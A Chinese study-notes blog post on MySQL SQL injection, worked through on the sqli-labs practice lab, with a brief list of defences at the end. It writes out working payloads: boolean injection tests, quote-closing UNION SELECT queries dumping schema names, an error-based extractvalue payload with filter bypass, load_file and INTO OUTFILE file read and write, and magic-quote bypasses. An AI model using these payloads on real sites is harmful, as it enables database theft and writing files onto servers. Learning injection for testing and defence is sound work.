1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > 13 WEB漏洞:SQL注入之MYSQL注入

13 WEB漏洞:SQL注入之MYSQL注入

时间:2018-10-19 06:31:30

相关推荐

13 WEB漏洞:SQL注入之MYSQL注入

1.SQL简介:

SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统-。SQL 语句用于取回和更新数据库中的数据。SQL 可与数据库程序协同工作,比如 MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其他数据库系统。

本来有一些基础知识有在sql注入小总里写,现在还是再提一下:

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_name:列名

table_schema:数据库名

user() 查看当前MySQL登录的用户名

database() 查看当前使用MySQL数据库名

version() 查看当前MySQL版本

是否存在注入点:

1.and (要求and前后两个条件正确才会返回正确)

?id=10’and 1=1(返回正常)

?id=10’and 1=2(报错)

当然也可以不用等于号(有时候=被过滤了)

?id=10’and 2>1(返回正常)

?id=10’and 1>2(报错)

2.or(只需or前后两条件中有一个正确即可返回正确)

?id=10’or 1=1(返回正确)

?id=10’or 1=2 (返回正确)

闭合:

最为常见的是数字型和字符型,主要是要达到闭合的效果

用sqlilabs里的几个题目举几个小栗子:

Less-3

id=-1’) union select 1,2,3 – -

Less-4

id=-1") union select 1,2,3 – -

Less-6

id=-1" union select 1,2,3 – -

由于最近做了两个题,也是关于闭合的:

题型一:

两个注入点,且过滤了单引号

闭合:username=&password=or/**/extractvalue(1,concat(0x7e,database()))%23

题型二:

两个注入点,且过滤了注释符,等号 等

闭合:from=&to=or/**/‘1’<'2

2.MySQL 5.x数据结构:

查看所有数据库:show databases;

选择数据库A:use A;

查看A数据库下的表: show tables;

查看A数据库下的B表内容:select * from B;

…有很多语句,有需要时可以在菜鸟教程里查找。

3.跨库攻击:

前提条件:必须是高权限用户才能执行跨库查询

用sqli-labs-master/Less-2举例

首先在数据库里查看拥有最高权限root的host名

然后在题目中查看当前的用户:

?id=-1%20union%20select%201,user(),3

确定是最高权限后,进行跨库查询:

1.首先

最开始在数据库建了一个test库(用来做测试),内表名为aaaa,字段名为id,pass;字段内容有

2.获取所有数据库名称:

union select 1,group_concat(schema_name),3

from information_schema.schemata

3.获取test数据库表名:

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘test’

4.获取字段名:

union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘aaaa’ and table_schema=‘test’

5.查看字段内容

4.文件读写:

由于:

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

所以在sqlilabs测试读取文件之前,首先要在inc中加入:

load_file 文件读取

into outfile 或into dumpfile 文件写入

1.读取C盘下ccc.txt文件:

?id=-1 union select 1,load_file(‘C://ccc.txt’),3

2.写入:

将x写入www.txt中

?id=-1 union select 1,‘x’,3 into outfile ‘D:\www.txt’–+

了解文件的写入和读取后,我们需要获取文件的路径

6.路径获取的常见方法:

**1.报错显示:**一般网站出现错误的时候会泄露出路径

**2.遗留文件:**站长为了调试信息的时候遗留的文件而泄露的 路径。用扫描工具可以扫出 (inurl:phpinfo.php)

3.漏洞报错:知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms 爆路径/zblog 爆路径

4.平台配置文件:通过读取文件来读取搭建网站平台的配置文件。缺点:路径不是默认的,一旦更改很难找到路径

5.爆破

通过字典对路径爆破进行获取

6.拓展链接:一篇关于读取敏感信息的文:/weixin_30292843/article/details/99381669

魔术引号及常见防护:magic_quotes_gpc

作用:为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义,这个的作用跟addslashes()的作用完全相同

绕过方法:

1.hex(16进制)编码绕过 (编码后魔术引号将不再对其生效)

2.宽字节注入

7.防护:

1.内置函数 is_int() 无解

检测变量是否为整数

2.魔术引号

3.WAF防护软件:安全狗 宝塔等

4.低版本(小于5.0的mysql 查表名或列名时)注入配合读取或暴力破解(靠猜!)

5.自定义关键字:select等·

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。